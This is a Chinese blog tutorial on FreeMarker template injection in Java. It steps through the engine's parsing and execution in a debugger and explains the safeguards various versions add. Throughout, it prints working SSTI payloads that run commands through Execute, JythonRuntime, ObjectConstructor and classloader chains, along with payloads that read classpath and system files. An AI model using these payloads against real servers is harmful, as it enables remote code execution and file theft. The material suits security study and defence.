java-SSTI 模板注入
java-SSTI 模板注入
简介
模板注入比较常见的就是 freemarker 、Thymeleaf 与 velocity,顾名思义,我们肯定是可以控制模板的内容(1. 服务器将用户传入的参数错误处理,当作了模板内容 2. 我们可以上传 .ftl文件,让服务器加载解析),然后然服务器加载我们控制的恶意模板,从而实现命令执行。
FreeMarker
这里是官方文档: FreeMarker 中文官方参考手册
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML 网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为 FreeMarker Template Language (FTL)。它是简单的,专用的语言。
其实官方文档介绍的已经很清楚了,简单来说 freemarker 这种模板技术,就是解决了繁琐的文本输出,同时也体现了 MVC 的视图和业务分离的思想,而 jsp 太过繁琐,而且每次修改 JSP 都需要服务器重新编译为 Servlet 类,频繁更新会导致性能损耗(尤其在高并发场景)。
FreeMarker 中几个概念:
${...}: FreeMarker 将会输出真实的值来替换大括号内的表达式,这样的表达式被称为 interpolation(插值,译者注)。- FTL 标签 (FreeMarker 模板的语言标签): FTL 标签和 HTML 标签有一些相似之处,但是它们是 FreeMarker 的指令,是不会在输出中打印的。 这些标签的名字以
#开头。(用户自定义的 FTL 标签则需要使用@来代替#,但这属于更高级的话题了。) - 注释: 注释和 HTML 的注释也很相似, 但是它们使用
<#--and-->来标识。 不像 HTML 注释那样,FTL 注释不会出现在输出中(不出现在访问者的页面中), 因为 FreeMarker 会跳过它们。
其他任何不是 FTL 标签,插值或注释的内容将被视为静态文本, 这些东西不会被 FreeMarker 所解析;会被按照原样输出出来。
入门
创建一个 maven 项目,导入 freemarker 的依赖
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.31</version>
</dependency>
hello.ftl
创建 ftl 模板
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
</body>
</html>
freemarkDemo.java
用 java 代码,操作模板,填充值,输出为 html
package com.lingx5;
import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.File;
import java.io.FileWriter;
import java.util.HashMap;
public class freemarkDemo {
public static void main(String[] args) throws Exception {
// 创建FreeMarker配置对象
Configuration configuration = new Configuration(Configuration.getVersion());
// 设置模板文件所在的目录
configuration.setDirectoryForTemplateLoading(new File("src/main/resources"));
// 设置默认编码格式
configuration.setDefaultEncoding("utf-8");
// 获取指定的模板文件
Template template = configuration.getTemplate("hello.ftl");
// 创建数据模型
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("name","lingx5");
hashMap.put("message","我是freemarker入门demo");
// 创建文件写入器
FileWriter out = new FileWriter("src/main/resources/hello.html");
// 处理模板并生成输出文件
template.process(hashMap,out);
// 关闭文件写入器
out.close();
}
}
最终结构
执行 freemarkDemo,发现输出的 hello.html 填充好了我们想要的值

语法
freemarker 有自己的语言 FreeMarker Template Language (FTL) , 提供了大量的 内建函数 和 指令 这些为 freemarker 提供了强大的功能。
我们来看一个最简单的赋值指令 <#assign name1=value1 name2=value2 ... nameN=valueN>
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}
</body>
</html>
再次执行 freemarkDemo , 看到我们再模板定义的变量使用了

执行流程
getTemplate 解析
在我们程序的 getTemplate 处打断点

会来到 freemarker.template.Template 的构造方法 ,进行初始化
<init>:247, Template (freemarker.template)
loadTemplate:548, TemplateCache (freemarker.cache)
getTemplateInternal:439, TemplateCache (freemarker.cache)
getTemplate:292, TemplateCache (freemarker.cache)
getTemplate:2836, Configuration (freemarker.template)
getTemplate:2685, Configuration (freemarker.template)
main:15, freemarkDemo (com.lingx5)
内部初始化了 freemarker.core.FMParser,并调用 freemarker.core.FMParser#Root 对模板的混合内容进行分词

步入 freemarker.core.FMParser#Root 方法,调用 freemarker.core.FMParser#MixedContentElements 对模板的整体进行处理

步入 freemarker.core.FMParser#MixedContentElements 内部有大量的 switch case

主要的
elem = this.FreemarkerDirective(); // 如果是 <#if>, <#list> 等指令
break;
...
elem = this.PCData(); // 如果是纯文本 (Parsed Character Data)
break;
...
elem = this.StringOutput(); // 如果是 ${...}
break;
...
elem = this.NumericalOutput(); // 如果是 #{...}
随后收集到 TemplateElement[] childBuffer 数组中

分为了不同的内容
process 处理
后续就要调用 process 处理了

步入

先调用 freemarker.template.Template#createProcessingEnvironment 创建一个用于处理模板的运行时环境(Processing Environment), 把我的 HashMap 进行了封装(从原始 HashMap 封装为模板能识别的 TemplateModel 最后强转为 TemplateHashModel)

然后回到 freemarker.template.Template#process 继续调用 freemarker.core.Environment#process
内部调用 freemarker.core.Environment#visit 方法

步入 visit

只是 element 是 mixedContent 类型,accept 就是拿到 前面解析分割好的 childBuffer 数组


每种类型都对应不同的 accept 接口
后续是一个循环执行 visit

到了 ${name} 会走 freemarker.core.DollarVariable#accept 方法,填充值

基本流程就是这样
漏洞成因
了解了流程之后,我们就可以推测 RCE 漏洞,可能就是某个 TemplateElement 类实现的 accept 接口,可以执行 java 类中的操作,才让黑客有可乘之机。其实讲到这里就感觉与 ognl 很相似,在 ognl 中 有各种语法树 AST 实现的 setValue 和 getValue 方法
freemarker2.3.22 版本后的 api_and_has_api 内建函数 以及 new 内建函数 以及 eval 可以调用内部的方法,实现命令执行
来自官方的解释
api, has_api
FreeMarker 版本 从 2.3.22 版本开始存在,且 api 函数默认禁用。
如果 value 本身支持这个额外的特性,
value?api提供访问value的 API (通常是 Java API),比如value?api.someJavaMethod(), 当需要调用对象的 Java 方法时,这种方式很少使用, 但是 FreeMarker 揭示的 value 的简化视图的模板隐藏了它,也没有相等的内建函数。 例如,当有一个Map,并放入数据模型 (使用默认的对象包装器),模板中的myMap.myMethod()基本上翻译成 Java 的((Method) myMap.get("myMethod")).invoke(...),因此不能调用myMethod。如果编写了myMap?api.myMethod()来代替,那么就是 Java 中的myMap.myMethod()。
new
这是用来创建一个确定的
TemplateModel实现变量的内建函数。在
?的左边你可以指定一个字符串, 是TemplateModel实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。比如:
<#-- Creates an user-defined directive be calling the parameterless constructor of the class --> <#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()> <#-- Creates an user-defined directive be calling the constructor with one numerical argument --> <#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>更多关于构造方法参数被包装和如何选择重载的构造方法信息, 请阅读: 程序开发指南/其它/Bean 的包装
该内建函数可以是出于安全考虑的, 因为模板作者可以创建任意的 Java 对象,只要它们实现了
TemplateModel接口,然后来使用这些对象。 而且模板作者可以触发没有实现TemplateModel接口的类的静态初始化块。你可以(从 2.3.17 版开始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或设置new_builtin_class_resolver来限制这个内建函数对类的访问。 参考 Java API 文档来获取详细信息。如果允许并不是很可靠的用户上传模板, 那么你一定要关注这个问题。
eval
这个函数求一个作为 FTL 表达式的字符串的值。比如
"1+2"?eval返回数字 3。在调用
eval的地方, 已被求值的表达式看到相同的变量(比如本地变量)是可见的。 也就是说,它的行为就像在s?eval处, 你有s的 值。除了,指向在s之外创建的循环变量,它不能使用 循环变量内建函数。配置设置项影响来自
Configuration对象表达式解析(比如语法),而不是来自调用eval的的模板。
当我们可以控制模板内容时,可以利用这些内建函数,实现命令执行
漏洞分析
在 FreeMarker 依赖包中,有可以执行命令的类
- freemarker.template.utility.JythonRuntime 执行 python 代码
- freemarker.template.utility.Execute 执行本地命令
Execute
我们先看最简单的 Execute
freemarker.template.utility.Execute 实现了 TemplateMethodModel

而 TemplateMethodModel 有继承了 TemplateModel 且这个接口要实现 exec 方法

也就是说我们可以直接 new freemarker.template.utility.Execute
POC1 Execute
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}
<#assign evil="freemarker.template.utility.Execute"?new()>
${evil("calc")}
</body>
</html>
此时我们在执行 freemarkDemo ,成功弹出了计算器

Execute 执行流程
accept()
直接看 accept 方法

步入,会来到 freemarker.core.Assignment#accept
TemplateElement[] accept(Environment env) throws TemplateException {
Environment.Namespace namespace;
// 先获取namespace,确定变量的作用域
if (this.namespaceExp == null) {
switch (this.scope) {
case 1:
namespace = env.getCurrentNamespace();
break;
case 2:
namespace = null;
break;
case 3:
namespace = env.getGlobalNamespace();
break;
default:
throw new BugException("Unexpected scope type: " + this.scope);
}
}
}
valueExp 执行 eval, 计算 value 的值 , assign 是赋值语句

_eval()
步入 freemarker.core.Expression#eval 判断是不是常量, 不是常量就 执行 _eval() 方法

步入 freemarker.core.Expression#_eval 方法 ,也有很多实现,这是每种表达式和内建函数要重写这个方法, 来计算表达式的具体值

我们进入的是 freemarker.core.MethodCall#_eval 方法 ,执行表达式 freemarker.template.utility.Execute"?new()

来到 NewBI 的 exec 创建实例

步入 freemarker.ext.beans.BeansWrapper#newInstance , 获取构造方法,创建实例

其实到这里 我们也可以看的出来,new 这个内建函数,虽说是创建 TemplateModel 类的,但是这里使用 newInstance()时并没有检测 ctor 是否为这个类。
也就是说即使不是 TemplateModel 类的子类,也会初始化,进而执行 static 代码块
后续
在 exec 后续的 wrap 中才进行强转

步入 freemarker.template.DefaultObjectWrapper#wrap 根据类型,强转。但是现在强转失败,对我们也没什么影响,我们想要的恶意 static 已经执行了

然后就到了下一个 调用的表达式 ${evil("calc")}


看一下调用栈
exec:75, Execute (freemarker.template.utility)
_eval:62, MethodCall (freemarker.core)
eval:101, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:100, DollarVariable (freemarker.core)
accept:63, DollarVariable (freemarker.core)
visit:347, Environment (freemarker.core)
visit:353, Environment (freemarker.core)
process:326, Environment (freemarker.core)
process:383, Template (freemarker.template)
main:20, freemarkDemo (com.lingx5)
成功执行

Payload
安全限制
FreeMarker 官方提供了防御方案,使用 payload 注意
- freemarker.core.TemplateClassResolver 定义了三种模式
UNRESTRICTED_RESOLVER :简单地调用 ClassUtil.forName(String) 。
SAFER_RESOLVER :和第一个类似,但禁止解析 ObjectConstructor , Execute 和 freemarker.template.utility.JythonRuntime 。
ALLOWS_NOTHING_RESOLVER :禁止解析任何类。
- 前面 ?api 提到的 unsafeMethods
- freemarker 2.3.30 新加入的 memberAccessPolicy
三种策略的拦截流程
┌──────────────────────────────────────────────────────────
│ 用户在模板中写下某个表达式
│ ① 访问普通字段 / 调用普通方法
│ ② 或使用 ?new
└──────────────────────────────────────────────────────────
│
▼
┌──────────────────────────────────────────────────────────
│ ① MemberAccessPolicy(2.3.30+)检查
│ ├─ 默认 DefaultMemberAccessPolicy
│ ├─ 拦高危反射成员、ProtectionDomain
│ └─ 不通过 → 抛 TemplateModelException
└──────────────────────────────────────────────────────────
│通过
▼
┌──────────────────────────────────────────────────────────
│ ② BeansWrapper 暴露级别 exposureLevel
│ (EXPOSE_SAFE / _PROPS_ONLY / _NOTHING / _ALL)
│ ├─ EXPOSE_SAFE → 再对照 unsafeMethods.properties
│ ├─ EXPOSE_ALL → 不走黑名单,直接允许
│ └─ 其余级别按规则限制
│ ─ 如果成员被拒绝 → 抛 TemplateModelException
└──────────────────────────────────────────────────────────
│通过
▼
┌──────────────────────────────────────────────────────────
│ ③ 若表达式包含 ?new 或 T("…")
│ → 进入 TemplateClassResolver
│ ├─ UNRESTRICTED_RESOLVER :全放行
│ ├─ SAFER_RESOLVER (默认) :黑名单拦 ObjectConstructor
│ │ Execute、ProcessBuilder、ClassLoader… 等
│ └─ ALLOWS_NOTHING_RESOLVER:全拒绝
│ ─ 不通过 → 抛 TemplateModelException
└──────────────────────────────────────────────────────────
│全部通过
▼
┌──────────────────────────────────────────────────────────
│ Java 成员最终被调用 / Class 被实例化
└──────────────────────────────────────────────────────────
Execute
刚刚调试的就是这个
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}
<#assign evil="freemarker.template.utility.Execute"?new()>
${evil("calc")}
</body>
</html>
Static
刚刚我们分析 ?new 这个内建函数,说到了 他会先实例化类,执行静态方法,然后才去判断 强转 类型
来试一下这个
evilTest
package com.lingx5;
public class evilTest {
static {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
}
}
}
模版 hello.ftl
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
${speek}
<#assign evil="com.lingx5.evilTest"?new()>
</body>
</html>
虽然报错了,但还是可以执行成功

JythonRuntime
导入 python 依赖
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.3</version>
</dependency>
payload
<#assign evil="freemarker.template.utility.JythonRuntime"?new()><@evil>import os;os.system("calc")</@evil>
成功执行

ObjectConstructor
payload
<#assign evil="freemarker.template.utility.ObjectConstructor"?new()>
${evil("freemarker.template.utility.Execute")("calc")}
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc"")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}
分析一下
freemarker.template.utility.ObjectConstructor
public class ObjectConstructor implements TemplateMethodModelEx {
public ObjectConstructor() {
}
public Object exec(List args) throws TemplateModelException {
if (args.isEmpty()) {
throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
} else {
String classname = args.get(0).toString();
Class cl = null;
try {
cl = ClassUtil.forName(classname);
} catch (Exception e) {
throw new TemplateModelException(e.getMessage());
}
BeansWrapper bw = BeansWrapper.getDefaultInstance();
Object obj = bw.newInstance(cl, args.subList(1, args.size()));
return bw.wrap(obj);
}
}
}
从这个类实现的 exec 方法,也不难看出他有创建类的能力,本质上等价于 ?new 内置函数,初始化出类后,最终在 freemarker.ext.util.ModelCache#getInstance 进行 TemplateModle 类型转换
public TemplateModel getInstance(Object object) {
if (object instanceof TemplateModel) {
return (TemplateModel)object;
} else if (object instanceof TemplateModelAdapter) {
return ((TemplateModelAdapter)object).getTemplateModel();
} else if (this.useCache && this.isCacheable(object)) {
TemplateModel model = this.lookup(object);
if (model == null) {
model = this.create(object);
this.register(model, object);
}
return model;
} else {
return this.create(object);
}
}
利用这个类同样可以实现创建任意类对象
也是可以实现命令执行的

ClassLoader RCE
在 2.3.30 及以后的版本中,引入了 memberAccessPolicy 策略,禁用了 protectionDomain 获取 classLoader,所以关于 classLoader 的 payload 只适用于 2.3.30 以下

在 BeanWrapper 中加载拦截

POC1 不适用
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc")}
这个 payload 的本尊来自 In-depth Freemarker Template Injection - Ackcent 这篇文章,APPsec 团队在利用 freemarker ssti 模板注入的过程中,通过对 jdk 文档的解读,发现可以读取目标系统文件,通过对系统文件的分析,找到了一个 ClassExposingGSON 类 定义了 public static final Gson GSON 的变量,加以利用实现RCE,所以这个payload并不通用,我们可以学习思路
object 为任意 java 对象(从 java 代码中传递过来的)
?api 运用介绍
为了更好的理解 ?api 这个内建函数,我们先来看一个例子
这里用的 freemarker 的版本为 2.3.22
创建 User 一个类
package com.lingx5;
public class User {
public User(String username) {
this.username = username;
}
public String username;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
}
给模板传入 User 对象

模板 hello.ftl
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好!
${message}
<#assign speek="hello who are you ?" />
<#assign str="Hello World">
${user?api.getUsername()}
</body>
</html>
运行,看到成功从 java 对象 user 中执行了 getUsername() 方法

要使用
?api这个内建函数,我们就必须有一个已知的,从 java 代码中传过来的 java 对象,这一点条件还是比较苛刻的。而且 官方给
?api加了一堆用于恶意操作的黑名单 在 freemarker\ext\beans\unsafeMethods.txt 中,在 freemarker.ext.beans.UnsafeMethods#createUnsafeMethodsSet 方法中加载
在
?api的执行过程中判断
调用栈
at freemarker.ext.beans.UnsafeMethods.createUnsafeMethodsSet(UnsafeMethods.java:44) at freemarker.ext.beans.UnsafeMethods.<clinit>(UnsafeMethods.java:34) at freemarker.ext.beans.ClassIntrospector.isAllowedToExpose(ClassIntrospector.java:539) at freemarker.ext.beans.ClassIntrospector.addPropertyDescriptorToClassIntrospectionData(ClassIntrospector.java:401) at freemarker.ext.beans.ClassIntrospector.addBeanInfoToClassIntrospectionData(ClassIntrospector.java:312) at freemarker.ext.beans.ClassIntrospector.createClassIntrospectionData(ClassIntrospector.java:274) at freemarker.ext.beans.ClassIntrospector.get(ClassIntrospector.java:244) at freemarker.ext.beans.BeanModel.<init>(BeanModel.java:114) at freemarker.ext.beans.BeanModel.<init>(BeanModel.java:104) at freemarker.ext.beans.StringModel.<init>(StringModel.java:52) at freemarker.ext.beans.StringModel$1.create(StringModel.java:37) at freemarker.ext.beans.BeansModelCache.create(BeansModelCache.java:71) at freemarker.ext.util.ModelCache.getInstance(ModelCache.java:84) at freemarker.ext.beans.BeansWrapper.wrap(BeansWrapper.java:860) at freemarker.template.DefaultObjectWrapper.handleUnknownType(DefaultObjectWrapper.java:235) at freemarker.template.DefaultObjectWrapper.wrap(DefaultObjectWrapper.java:214) at freemarker.template.WrappingTemplateModel.wrap(WrappingTemplateModel.java:105) at freemarker.template.DefaultMapAdapter.get(DefaultMapAdapter.java:123) at freemarker.core.Environment.getGlobalVariable(Environment.java:1491) at freemarker.core.Environment.getVariable(Environment.java:1477) at freemarker.core.Identifier._eval(Identifier.java:35) at freemarker.core.Expression.eval(Expression.java:78) at freemarker.core.BuiltInsForMultipleTypes$apiBI._eval(BuiltInsForMultipleTypes.java:240) at freemarker.core.Expression.eval(Expression.java:78
正是因为
?api的限制比较严格,所以才有了刚开始的 payload,通过 GSON 这个 json 处理包来绕过
POC2 通用
<#assign classloader=user.class.protectionDomain.classLoader>
<#assign objectWrapper=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign beanWapper=objectWrapper.getField("DEFAULT_WRAPPER").get(null)>
<#assign exec=classloader.loadClass("freemarker.template.utility.Execute")>
${beanWapper.newInstance(exec,null)("calc")}

这主要得益于 ObjectWrapper 接口中有一个变量 DEFAULT_WRAPPER,接口中的变量默认被隐式地指定为 public static final

而 DefaultObjectWrapper 继承了 BeansWrapper

在 BeansWrapper 中 有一个 newInstance() 方法,可以初始化 simpleMethod 类

读文件
同样在 2.3.30 及以后被策略封禁了

POC1 读取类路径文件
<#assign is=user?api.class.getResourceAsStream("../../config.txt")>
FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if> ${byte},</#list>]
值得注意的是: getResourceAsStream 以编译后的文件路径进行识别,且 Class 与 ClassLoader 的有些许区别
Class.getResourceAsStream(String path) : path 不以 / 开头时默认是从此类所在的包下取资源,以 / 开头则是从 ClassPath 根下获取。其只是通过 path 构造一个绝对路径,最终还是由 ClassLoader 获取资源。
Class.getClassLoader.getResourceAsStream(String path) :默认则是从 ClassPath 根下获取,path 不能以’/'开头,最终是由 ClassLoader 获取资源。

执行完成之后就把文件写在了 hello.html 渲染文件中

同样的 从根路径下去读我们可以更改路径为 /config.txt
<#assign is=user?api.class.getResourceAsStream("/config.txt")>
FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if> ${byte},</#list>]
也是可以读取类路径中的文件的

POC2 读取系统文件
<#assign uri=user?api.class.getResource("/").toURI()>
${uri}
<#assign input=uri?api.create("file:/D:/1.txt").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]

参考文章
Java 模版引擎注入(SSTI)漏洞研究 - 郑瀚 - 博客园
Java FreeMarker 模板引擎注入深入分析 - FreeBuf 网络安全行业门户
Freemarker 模板注入 Bypass | 码农网 (下面文章的中文翻译)





浙公网安备 33010602011771号